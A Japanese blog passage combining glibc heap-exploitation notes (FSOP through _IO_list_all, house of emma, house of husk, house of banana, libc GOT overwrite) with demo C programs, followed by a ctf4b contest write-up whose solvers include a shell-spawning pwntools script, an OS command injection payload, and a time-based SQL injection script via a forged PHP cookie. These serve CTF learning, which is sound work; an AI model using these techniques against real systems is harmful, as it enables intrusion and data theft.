*(unsigned long*)(tls+0x30) = fake_pointer_guard;
*(unsigned long*)exit_funcs = (unsigned long)fake_exit_function_list;

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}
1
2
3
4
5
6
7
8
$ ./exit_funcs 
Start of main()
libc_base = 0x7f212d6ef000
tls = 0x7f212d6ec740
exit_funcs = 0x7f212d908838
End of main()
In target2(): arg1=0x9abcdef0
In target1(): arg1=0x12345678

参考資料

_IO_list_all / _IO_OVERFLOW

いわゆるFSOPというやつで、この類のやつは状況次第では発火ポイントは色々あるので、
ここでは汎用性の高そうな_IO_OVERFLOWによる発火を記載する。

手順

IO_list_allには本来stderr->stdout->stdinといったファイル構造体が単方向リストに繋がれている。

exit()やmain関数からのreturn時に呼ばれる_IO_flush_all_lockp内では、
このIO_list_allを辿って各ファイル構造体のメンバが特定の条件の時に_IO_OVERFLOW(vtableメンバ+0x18に位置する関数ポインタ)が呼ばれるという処理が存在する。

この処理を利用して、IO_list_allを偽造した_IO_FILE_plus構造体を指すようにして、bufferのポインタなど適切なメンバを設定することで関数をフックすることができる。

vtableメンバは適切なアドレス範囲内にあるかのチェックが行われるため偽の関数テーブルを用意したheap領域を指すようにしたりはできない。(チェックの話は結構昔からあるので割愛する)
そのため本来のvtable付近のアドレスに、飛ばしたいアドレスを格納し、vtableメンバ+0x18がそのアドレスを指すようにずらしてあげることで_IO_OVERFLOW呼び出し時に目的の関数実行することができる。

パターン1(vtable領域への書き込み)

vtable領域内に飛ばしたい関数ポインタを書き込んで、偽装した構造体のvtableメンバを適切にずらしてあげるやり方。

先に言うと2.35では基本的に使えないと思われる。
というのも自分の環境ではシンボルや関数自体はあるもののvtableのメモリページがreadonlyになっているので書き換えができなかった。

2.31ではどうかというと、これも自分の環境だとreadonlyになっててダメだった。
記憶では2.31でも普通に使えたので、あれ?と思い少し調べてみたが、同じバージョンでもパッチが当たっているものがあるみたい。なのでこれを使う際はあまりバージョンで判断しない方が良さそう。
(この解釈間違っている可能性があるので、有識者がいたら教えてほしい)

以下に記載する再現は次の環境で行った

1
2
Ubuntu GLIBC 2.31-0ubuntu9.3
BuildID[sha1]=ce782ece08d088e77eeadc086f84d4888de4bb42

ちなみに動かなかった2.31

1
2
Ubuntu GLIBC 2.31-0ubuntu9.7
BuildID[sha1]=9fdb74e7b217d06c93172a8243f8547f947ee6d1

以下は本来のvtable+0x8にtarget関数のアドレスを、偽造したファイル構造体のvtableメンバを本来のvtableから-0x10した値にセットしている。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x875a0;
unsigned long off_IO_list_all = 0x1ec5a0;
unsigned long off_vtable = 0x1ed4a0;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* IO_list_all = libc_base + off_IO_list_all;
printf("IO_list_all = %p\n",IO_list_all);
void* vtable = libc_base + off_vtable;
printf("vtable = %p\n",vtable);

// prepare for exploit
void* fake_io_struct = malloc(0x400);
printf("fake_io_struct = %p\n", fake_io_struct);

*(unsigned long*)(fake_io_struct+ 0x0) = 0xdeadbeef; // *fp arg1
*(unsigned long*)(fake_io_struct+0x20) = 0; // _IO_write_base
*(unsigned long*)(fake_io_struct+0x28) = 1; // _IO_write_end
*(int*)(fake_io_struct+0xc0) = 0; // _mode
*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)vtable - 0x10; // vtable

// overwrite symbols
*(unsigned long*)(vtable + 0x8) = target1; // fake _IO_OVERFLOW
*(unsigned long*)IO_list_all = fake_io_struct;

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}
1
2
3
4
5
6
7
8
$ ./io_list_all 
Start of main()
libc_base = 0x7fb8274ae000
IO_list_all = 0x7fb82769a5a0
vtable = 0x7fb82769b4a0
fake_io_struct = 0x555a5e00d6b0
End of main()
In target1(): arg1=0x555a5e00d6b0

house of emmaの1パート

この方法ではパターン1が動かなかった2.31(GLIBC 2.31-0ubuntu9.7)でも動くことが確認できた。
自分の環境の2.35では_IO_cookie_jumps近辺にvtableを設定するとvtable checkで検出されるようになっていた。(コードレベルで追えていない)

_IO_OVERFLOWが指す関数ポインタを既存の関数_IO_cookie_[read|write|seek|close]に向ける。
これらの_IO_cookie_xxx関数では、さらに_IO_cookie_file構造体の関数ポインタのメンバを呼ぶことができて、これらはvtableからの呼び出しではないので、heap上に設置できる。
また関数ポインタは前述のPTR_DEMANGLEでデコードされるので、あらかじめエンコードされた値を格納しておく。

以下の擬似exploitはexit()時のIO_OVERFLOWをトリガーにしているので、pointer_guardを改ざんすると、前述の__exit_funcsのDEMANGLEが失敗してしまうので、pointer_guardをリークした場合を想定している。(他のメンバをいじることでpointer_guardの改ざんでも発火は一応できるが)

exit時の_IO_OVERFLOWを発火のトリガーにしなければこの問題は回避できる。
(現にhouse of emmaの解説記事ではassert()をトリガーにしている)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x7ffff7e4a450 - 0x7ffff7dc6000;
unsigned long off_IO_list_all = 0x7ffff7fb35a0 - 0x7ffff7dc6000;
unsigned long off_IO_cookie_jumps = 0x7ffff7faea20 - 0x7ffff7dc6000;
unsigned long off_tls = 0x7ffff7fb9540 - 0x7ffff7dc6000;

#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)>>(0x40-0x11))

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* IO_list_all = libc_base + off_IO_list_all;
printf("IO_list_all = %p\n",IO_list_all);
void* IO_cookie_jumps = libc_base + off_IO_cookie_jumps;
printf("IO_cookie_jumps = %p\n",IO_cookie_jumps);
void* tls = libc_base + off_tls;
printf("tls = %p\n",tls);

// prepare for exploit
void* fake_io_struct = malloc(0x400);
unsigned long pointer_guard = *(unsigned long*)(tls+0x30);

*(unsigned long*)(fake_io_struct+0x20) = 0; // _IO_write_base
*(unsigned long*)(fake_io_struct+0x28) = 1; // _IO_write_end
*(int*)(fake_io_struct+0xc0) = 0; // _mode
*(unsigned long*)(fake_io_struct+0xe0) = 0xdeadbeef; // _cookie

// _IO_cookie_read
*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x58; // vtable
*(unsigned long*)(fake_io_struct+0xe8) =
ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// _IO_cookie_write
//*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x60; // vtable
//*(unsigned long*)(fake_io_struct+0xf0) =
// ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// _IO_cookie_seek
//*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x68; // vtable
//*(unsigned long*)(fake_io_struct+0xf8) =
// ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// _IO_cookie_close
//*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x70; // vtable
//*(unsigned long*)(fake_io_struct+0x100) =
// ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// overwrite symbols
*(unsigned long*)IO_list_all = fake_io_struct;

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}

参考

__printf_function_table / __printf_arginfo_table

house of husk の1パート
ver2.35で動作確認済み

rdiを操作するのはキツそうなのでone gadgetなりいい感じのgadgetが必要。

手順

__printf_function_tableを読み込み可能領域に、
__printf_arginfo_tableを自身の用意した関数テーブルを指すようにすれば、
書式文字列を用いてprintf()を行うことで、対象の関数テーブルの値が呼ばれる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_printf_function_table = 0x7ffff7fa89c8 - 0x7ffff7d8d000;
unsigned long off_printf_arginfo_table = 0x7ffff7fa78b0 - 0x7ffff7d8d000;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* printf_function_table = libc_base + off_printf_function_table;
void* printf_arginfo_table = libc_base + off_printf_arginfo_table;

printf("__printf_function_table = %p\n",printf_function_table);
printf("__printf_arginfo_table = %p\n",printf_arginfo_table);

printf("%K\n");
// prepare for exploit
void* area_readable = malloc(0x100);
void* fake_arginfo_table = malloc(0x400); // enough size

*(unsigned long*)(fake_arginfo_table + 'K'*8) = target1;

// overwrite symbols
*(unsigned long*)printf_function_table = (unsigned long)area_readable;
*(unsigned long*)printf_arginfo_table = (unsigned long)fake_arginfo_table;

printf("%K\n"); // exploit
puts("End of main()");
return;
}
1
2
3
4
5
6
7
8
9
10
$ ./printf_arginfo_table 
Start of main()
libc_base = 0x7f5b27122000
__printf_function_table = 0x7f5b2733d9c8
__printf_arginfo_table = 0x7f5b2733c8b0
%K
after overwrite
In target1(): arg1=0x7fffa1fceda0
In target1(): arg1=0x7fffa1fceda0
%K

2回呼ばれているのは
printf_positionalとその中で呼ばれる__parse_one_specmbでそれぞれ実行されている。

参考資料

_rtld_global

house of banana の1パート
ver2.35で動作確認済み。

手順

ld.so内の_rtld_globalが指し示すlink_mapの双方向リストをいい感じに書き換えると、
exit()やmain関数からのreturnの際に呼ばれる_dl_finiの処理にていい感じに差し替えた関数テーブルが呼ばれる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_ld = 0x7fe5d6f2d000 - 0x7fe5d6cfd000; // ld_base - libc_base
//unsigned long off_ld = 0x7ffff7fc3000 - 0x7ffff7d8d000; // for gdb
unsigned long off_rtld_global = 0x7ffff7ffd040 - 0x7ffff7fc3000;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void target2(unsigned long arg1)
{
printf("In target2(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
int i;

printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* rtld_global = libc_base + off_ld + off_rtld_global;
printf("rtld_global = %p\n",rtld_global);

// prepare for exploit
unsigned int ns_loaded = 4;
void* fake_link_maps[ns_loaded];

for(i = ns_loaded-1; i >= 0; i--){
fake_link_maps[i] = malloc(0x400); // enough for size of link_map
*(unsigned long*)(fake_link_maps[i] + 0x28) = fake_link_maps[i]; // link_map->l_real
if(i == ns_loaded-1)
*(unsigned long*)(fake_link_maps[i] + 0x18) = 0; // link_map->l_next
else
*(unsigned long*)(fake_link_maps[i] + 0x18) = fake_link_maps[i+1];
}

void* fake_array = malloc(0x10);
void* fake_array_size = malloc(0x10);
void* fake_func_table = malloc(0x10);

*(unsigned long*)(fake_link_maps[0] + 0x110) = fake_array; // link_map->l_info[DT_FINI_ARRAY]
*(unsigned long*)(fake_array + 8) = fake_func_table;

*(unsigned long*)(fake_link_maps[0] + 0x120) = fake_array_size; // link_map->l_info[DT_FINI_ARRAY]
*(unsigned long*)(fake_array_size + 8) = 0x10;

*(unsigned int*)(fake_link_maps[0] + 0x31c) = 8; // link_map->l_init_call (bit field)

*(unsigned long*)(fake_func_table + 0) = target1;
*(unsigned long*)(fake_func_table + 8) = target2;

// overwrite symbols
*(unsigned long*)rtld_global = (unsigned long)fake_link_maps[0];

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}

1
2
3
4
5
6
7
$ ./rtld_global 
Start of main()
libc_base = 0x7fd908050000
rtld_global = 0x7fd9082ba040
End of main()
In target2(): arg1=0x7fd9082baa48
In target1(): arg1=0x7fff8b010e00

関数はテーブルの末尾から連続で呼ぶことができる & その際にレジスタがあまり破壊されないので(環境依存)
1ターン目でrdiをセット、2ターン目でsystem()みたいなこともできる。

以下は自分の環境での関数ループの処理

1
2
3
4
5
6
7
0x7ffff7fc9248 <_dl_fini+520>:       mov    QWORD PTR [rbp-0x38],rax
0x7ffff7fc924c <_dl_fini+524>: call QWORD PTR [rax]
0x7ffff7fc924e <_dl_fini+526>: mov rax,QWORD PTR [rbp-0x38]
0x7ffff7fc9252 <_dl_fini+530>: mov rdx,rax
0x7ffff7fc9255 <_dl_fini+533>: sub rax,0x8
0x7ffff7fc9259 <_dl_fini+537>: cmp QWORD PTR [rbp-0x40],rdx
0x7ffff7fc925d <_dl_fini+541>: jne 0x7ffff7fc9248 <_dl_fini+520>

参考資料

_dl_open_hook

dl_open_hookについてはシンボル自体2.35でもある
が解説記事の手法は < 2.31で動作するっぽい。(ソースコードで判断しているため、未確認要検証)

abort時の__libc_message()内のBEFORE_ABORT(backtrace_and_mapsのマクロ)が2.31以降消されている。

手順

_dl_open_hookに、用意したdl_open_hook構造体を配置することで、abort時に呼ばれる
関数を操作することができる。

擬似exploitは省略
2.31未満のlibc問が出題されたらワンチャン使えるかもくらいに思い出してあげてほしい。

参考

GOT overwrite in libc(追記)

twitterより

moraさんあざます🙏

2.35でも使えたテクニックで、glibcバイナリのgot overwrite。

以下は教えてもらったtweet通りcalloc内で呼ばれるmemsetのgotを書き換えた。
本記事で何回も出している__run_exit_handlerでもfree呼ばれるからfree@gotを書き換えようと思ったら、
free@gotはreadonlyのページに配置されていた。同じlibcのgot領域でも書き込み可否が変わるのか。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_got_memset_in_libc = 0x219188;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* got_memset_in_libc = libc_base + off_got_memset_in_libc;
printf("got_memset_in_libc = %p\n",got_memset_in_libc);

// before overwrite
void* ptr = calloc(0x58,1);

// overwrite symbols
*(unsigned long*)got_memset_in_libc = target1;

puts("before memset()");

memset(ptr, 0, 0x58); // not work (memset() from user binary)

puts("before calloc()");

ptr = calloc(0x58,1); // exploit (memset() from libc)
puts("End of main()");
return;
}
1
2
3
4
5
6
7
8
$ ./got_in_libc 
Start of main()
libc_base = 0x7fc77cbf0000
got_memset_in_libc = 0x7fc77ce09188
before memset()
before calloc()
In target1(): arg1=0x55c178b23710
End of main()

終わりに

実はこれはctf4bのmonkey heapが解けなかった際の供養
最近サボってたら置いてかれていた

間違いあれば教えてください

昨年までKUDoSで参加してましたが、
今年はソロ参加してました。(team:Shinra Company)
結果は19位で普段やらないジャンルも挑戦できてとても良かった。

目次

misc

phisher

打ち込んだ文字列をとあるフォントで画像出力し、それを再度画像から文字列として認識させる。
この時に’www[.]example[.]com’に出てくる文字列を使用せずに’www[.]example[.]com’として解釈させる問題。

答えとしては’ωωω․ехамрІе․сом’とかで通る。
バイト列で言うと以下
‘\xcf\x89\xcf\x89\xcf\x89\xe2\x80\xa4\xd0\xb5\xd1\x85\xd0\xb0\xd0\xbc\xd1\x80\xd0\x86\xd0\xb5\xe2\x80\xa4\xd1\x81\xd0\xbe\xd0\xbc’

(上のやつコンテスト中はなぜか通らずに発狂していた、その時はωを色々変えてみたら通った。why)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
from pwn import *
import sys

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "phisher.quals.beginners.seccon.jp"
PORT = 44322

conn = remote(HOST, PORT)
fqdn = 'ωωω․ехамрІе․сом'
#fqdn = 'ωωŵ․ехамрІе․сом'

conn.sendlineafter(": ", fqdn)

conn.interactive()

生成される画像

H2

pcapファイルが配布される。
HTTP2の大量の通信のどこかに出力されてるx-flagヘッダにflagがあるらしい。
5億年ぶりにwiresharkを起動した。
大体のレスポンスがLength:49なので、フィルタに”http2.length > 49”を入力

ultra_super_miracle_validator

cソースコードを渡したらそれをコンパイルして実行してくれる。
ただyaraでいくつかのルールが定義されていて、それをパスしないと実行してくれない。
最初見た時なんかの命令が禁止されているのかと思ったが、ルールをよく見ると定義された文字列を含めたらパスできる感じだった。
charの配列としてそれらの文字列を定義しておけば、コンパイル後もその文字列が出てくるはずなので適当に定義した後、system(“/bin/sh”)を実行するcコードを送信する

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "ultra-super-miracle-validator.quals.beginners.seccon.jp"
PORT = 5000

conn = remote(HOST, PORT)

code = ''
code = 'char* x1="\\xe3\\x82\\x89\\xe3\\x81\\x9b\\xe3\\x82\\x93\\xe9\\x9a\\x8e\\xe6\\xae\\xb5";'
code += 'char* x9="\\xe7\\xb4\\xab\\xe9\\x99\\xbd\\xe8\\x8a\\xb1";'
code += 'char* x4="\\xe3\\x82\\xa4\\xe3\\x83\\x81\\xe3\\x82\\xb8\\xe3\\x82\\xaf\\xe3\\x81\\xae\\xe3\\x82\\xbf\\xe3\\x83\\xab\\xe3\\x83\\x88";'
code += 'char* x12="\\x83\\x4a\\x83\\x75\\x83\\x67\\x92\\x8e";'
code += 'char* x19="\\x8e\\x87\\x97\\x7a\\x89\\xd4";'
code += 'char* x8="\\xe5\\xa4\\xa9\\xe4\\xbd\\xbf";'
code += 'char* x20="\\x94\\xe9\\x96\\xa7\\x82\\xcc\\x8d\\x63\\x92\\xe9";'
code += 'char* x6="\\xe7\\x89\\xb9\\xe7\\x95\\xb0\\xe7\\x82\\xb9";'
code += 'char* x25="\\x30\\xc9\\x30\\xed\\x30\\xed\\x30\\xfc\\x30\\xb5\\x30\\x78\\x30\\x6e\\x90\\x53";'
code += 'char* x21="\\x30\\x89\\x30\\x5b\\x30\\x93\\x96\\x8e\\x6b\\xb5";'
code += 'char* x3="\\xe5\\xbb\\x83\\xe5\\xa2\\x9f\\xe3\\x81\\xae\\xe8\\xa1\\x97";'
code += 'char* x14="\\x83\\x43\\x83\\x60\\x83\\x57\\x83\\x4e\\x82\\xcc\\x83\\x5e\\x83\\x8b\\x83\\x67";'
code += 'char* x26="\\x72\\x79\\x75\\x70\\x70\\xb9";'
code += 'char* x34="\\x2b\\x4d\\x4b\\x51\\x2d\\x2b\\x4d\\x4d\\x45\\x2d\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4b\\x38\\x2d\\x2b\\x4d\\x47\\x34\\x2d\\x2b\\x4d\\x4c\\x38\\x2d\\x2b\\x4d";'
code += 'char* x36="\\x2b\\x63\\x6e\\x6b\\x2d\\x2b\\x64\\x58\\x41\\x2d\\x2b\\x63";'
code += 'char* x37="\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4f\\x63\\x2d\\x2b\\x4d\\x4d\\x4d\\x2d\\x2b";'
code += 'void main(){system("/bin/sh");}'

def exploit():
conn.sendlineafter(":\n",code)
conn.interactive()

if __name__ == "__main__":
exploit()

hitchhike4b

SECCON 2021で苦しめられたhitchhike
一応リベンジはできた。。。

端的に言うと1つ目は__main__,2つ目は一つ目で得られたpythonファイル名を入力すると変数が得られる。

以下コンソールの対話

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
help> __main__
Help on module __main__:

NAME
__main__

DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
...

NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

web

Util

OS Command Injection
ブラウザからは直接打てないのでBurpなり、curlなりを使って直接送信する。

1
2
3
4
5
6
7
POST /util/ping HTTP/1.1
Host: util.quals.beginners.seccon.jp
Content-Type: application/json
Content-Length: 26
Connection: close

{"address":";ls -al ../;"}

flagのファイル名が’flag_A74FIBkN9sELAjOc.txt’とわかるので上のコマンドをcat flag_xxx.txtにしてflagげと

textex

texのテキストを渡すとそれをpdfに変換してくれる。

‘flag’の文字列があると弾かれるので、
ファイルを埋め込む構文と変数を使ってpdfに埋め込む

1
2
3
4
5
6
7
8
9
10
11
12
\documentclass{article}
\usepackage{verbatim}
\newcommand{\fl}{fl}
\newcommand{\ag}{ag}
\begin{document}

This is a sample.

\verbatiminput{\fl\ag}

\end{document}

ファイルの閲覧サービス
拡張子で検索する機能でflagのファイル名を特定

https://gallery.quals.beginners.seccon.jp/?file_extension=fl

普通にflagを取得しようとすると?だけのテキストが返ってくる。
サーバ側で10240を超えるファイルだと変換されてしまうみたいなのでRangeヘッダを使用する。

1
2
3
4
GET /images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf HTTP/1.1
Host: gallery.quals.beginners.seccon.jp
Range: bytes=0-10239
Connection: close

serial

html/database.phpにあからさまなSQL injectionがある。

1
2
3
4
5
6
7
8
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);

認証を検証する関数loginとかで呼ばれており、cookieの__CREDにセットされたPHPオブジェクトを
unseriarizeしてsql文に挿入される。

以下はtime basedでflagテーブルからflagを抜き取るコード
別にtime basedである必要はない

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3

import base64
import urllib.parse
import requests
import string

url = b"https://serial.quals.beginners.seccon.jp/"
c_array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789!$-.<=>?@_*"

if __name__ == '__main__':
flag = 'ctf4b{'
i = 7
while '}' not in flag:
for c in c_array:
#sql = "test' union select if(1=1,(sleep(5),'1','1'),(1,'1','1')) -- '"
sql = "test' union select (select if(substring(body,{},1)='{}',sleep(5),1) from flags),'1','1' -- '".format(i,c)
serial = "O:4:\"User\":3:{s:2:\"id\";s:1:\"1\";s:4:\"name\";s:"
serial += str(len(sql))
serial += ":\""
serial += sql
serial += "\";s:13:\"password_hash\";s:60:\"$2y$10$4XgUYL3zRJd6Ft4bzfsjBe8SKRm1XrXXbD6TssbeNHinhgfyFAJfC\";}"
my_cookie = {"__CRED": base64.b64encode(serial.encode()).decode("utf-8")}
try:
res = requests.get(url, cookies=my_cookie, timeout=3)
except Exception as e:
flag += c
break
if c == '*':
print(flag)
exit(1)
print("flag:" + flag)
i+=1

reversing

Quiz

コマンドstrings

1
2
$ strings quiz |grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

EXEファイルが配られる。
idaで見るとcheck関数という怪しい関数がある。

strcmpでブレークポイント張って見るとflagが2回にわたってチェックされている。
チェックされている文字列は以下に格納されてた

愚直にctf4b{ABCDE…}みたいに入力をして、比較対象の文字列中のAがどこに現れるか、を一つずつ確認してflagを復元した。

Recursive

名前の通り再起的に関数が呼ばれている。
flagを2分割して前半と後半を再度関数の引数にしている。

再起的に呼ばれる関数の疑似コード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void check(char* ptr, int off)
{
int half;
int len = strlen(ptr);
char* ptr1, ptr2;
if(len == 1){
if(ptr[0] == enc_flag[off])
return 0;
else
return 1;
}
half = len>>1;
ptr1 = malloc(half);
strcpy(ptr1, ptr, half);
if(check(ptr1, off) ==1 ) return 1;

ptr2 = malloc(len-half);
strcpy(ptr2, &ptr[half], len-half);
if(check(ptr1, off+half*half)
}

復号するsolver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>

unsigned long table[512/8] = {
0x2b2834662a607463, 0x31382e2235396362,
0x2f6333726d687b62, 0x353b267b3a40727d,
0x2c683c2a646f3431, 0x6c3f77786d64276e,
0x656e296f79286765, 0x2f7160287b2d6a2b,
0x2b3024287c337272, 0x636e5f7b7a2e7335,
0x7631737b24727561, 0x7121682970212535,
0x385f406c3d3c7427, 0x34636f775f333968,
0x6162633f3e25646c, 0x3c6c7c786761643c,
0x2d6b60792c792f62, 0x2c38267b3b3d7b37,
0x7d636b6b24357538, 0x306d743c40713740,
0x797631662c263a33, 0x326c796425382762,
0x23713731373f6728, 0x6f76292877663e75,
0x5f293a296736246f, 0x62672e76382b5f63,
0x683c28772425286d, 0x767572276321313a,
0x722161796033407d, 0x676f5f7a353b2635,
0x733332633961306d, 0x777c23692e2d776d,
0x77766670656b387b, 0x653c3566337c333a,
0x733e712c2a7d3a40, 0x7830726b64622167,
0x682a352f683e4037, 0x7b7c273934373c69,
0x242c303b316a7329, 0x30743d2976266769,
0x226a33307c6b6e66, 0x7d69747d7b72377d,
0x756a7877733c5f3f, 0x216264266c216b31,
0x2a367d7a217d3a6a, 0x407331667b5f3160,
0x35346f69762c6433, 0x33765f6376345f3c,
0x79622b3e3375683e, 0x292b664023237176,
0x69392b773139636c, 0x72723b723c762337,
0x763e746128407524, 0x6d736a6062373a6e,
0x6d392b7b796d3667, 0x755f707079722d5f,
0x38667d2e362a6e35, 0x71262d6d3c677070,
0x753d3f66336b3571, 0x3c396e3f5f6d7d31,
0x66252f2d2a74657c, 0x5f40286d312e6867,
0x296e286934667633, 0x346d3067766a3273
};

#define FLAG_LEN 0x26

int a_idx[FLAG_LEN] = {0};

void plus_idx(int off, int l)
{
int i;
if(l == 1){
return;
}
else {
int div = l/2;
for(i = div; i < l; i++){
a_idx[off+i] += (div*div);
}
plus_idx(off,l/2);
plus_idx(off+l/2, l - (l/2));
}
}

void main()
{
int i;
char* flag = (char*)table;

plus_idx(0, FLAG_LEN);

for(i = 0; i < FLAG_LEN; i++){
printf("%c", flag[a_idx[i]]);
}
printf("\n");
}

Ransom

暗号化されたflagとRC4の暗号鍵が送信されているpcapファイルが渡される。
これはもうやるだけとしか言いようがない。

以下ソルバ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

unsigned char enc_flag[0x32] = {
0x2b,0xa9,0xf3,0x6f,0xa2,0x2e,0xcd,0xf3,
0x78,0xcc,0xb7,0xa0,0xde,0x6d,0xb1,0xd4,
0x24,0x3c,0x8a,0x89,0xa3,0xce,0xab,0x30,
0x7f,0xc2,0xb9,0x0c,0xb9,0xf4,0xe7,0xda,
0x25,0xcd,0xfc,0x4e,0xc7,0x9e,0x7e,0x43,
0x2b,0x3b,0xdc,0x09,0x80,0x96,0x95,0xf6,
0x76,0x10
};

unsigned char random[0x10] = {0x72,0x67,0x55,0x41,0x76,0x76,0x79,0x66,0x79,0x41,0x70,0x4e,0x50,0x45,0x59,0x67};

unsigned char map[0x100] = {0};

void main()
{
int i, j, l;
unsigned char t;
for(i = 0; i < 0x100; i++){
map[i] = i;
}
t = 0;
for(i = 0; i < 0x100; i++){
t = (t+map[i]+random[i%0x10])&0xff;
map[t] ^= map[i];
map[i] ^= map[t];
map[t] ^= map[i]; // swap
}
i = 0;
j = 0;
for(l = 0; l<0x32; l++) {
i += 1;
j = (j+map[i])&0xff;
map[j] ^= map[i];
map[i] ^= map[j];
map[j] ^= map[i];
enc_flag[l] ^= map[(map[i]+map[j])&0xff];
}
printf("%s\n", enc_flag);
}

please_not_debug_me

配布されたバイナリの中にさらにエンコードされたELFが埋め込まれている。
デコードは全体を0x16するだけ、バイナリ中ではELF全体をデコードしないのでgdbでループの回数をいじって全体をデコードさせた後
memorydumpとかでELFを抽出する。

抽出されたELFはptraceを検知するようになっていてgdbとかで開くと正常な処理フローを通らない。
バイナリエディタなどでexit@pltをret(0xc3)に書き換えれば普通にデバッグできる。
あとはRC4をやっていることがわかるので、内部状態、暗号文、鍵をこれまたgdbで取得してソルバを書く。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

#data = base64.b64decode("<encrypted file contents>")
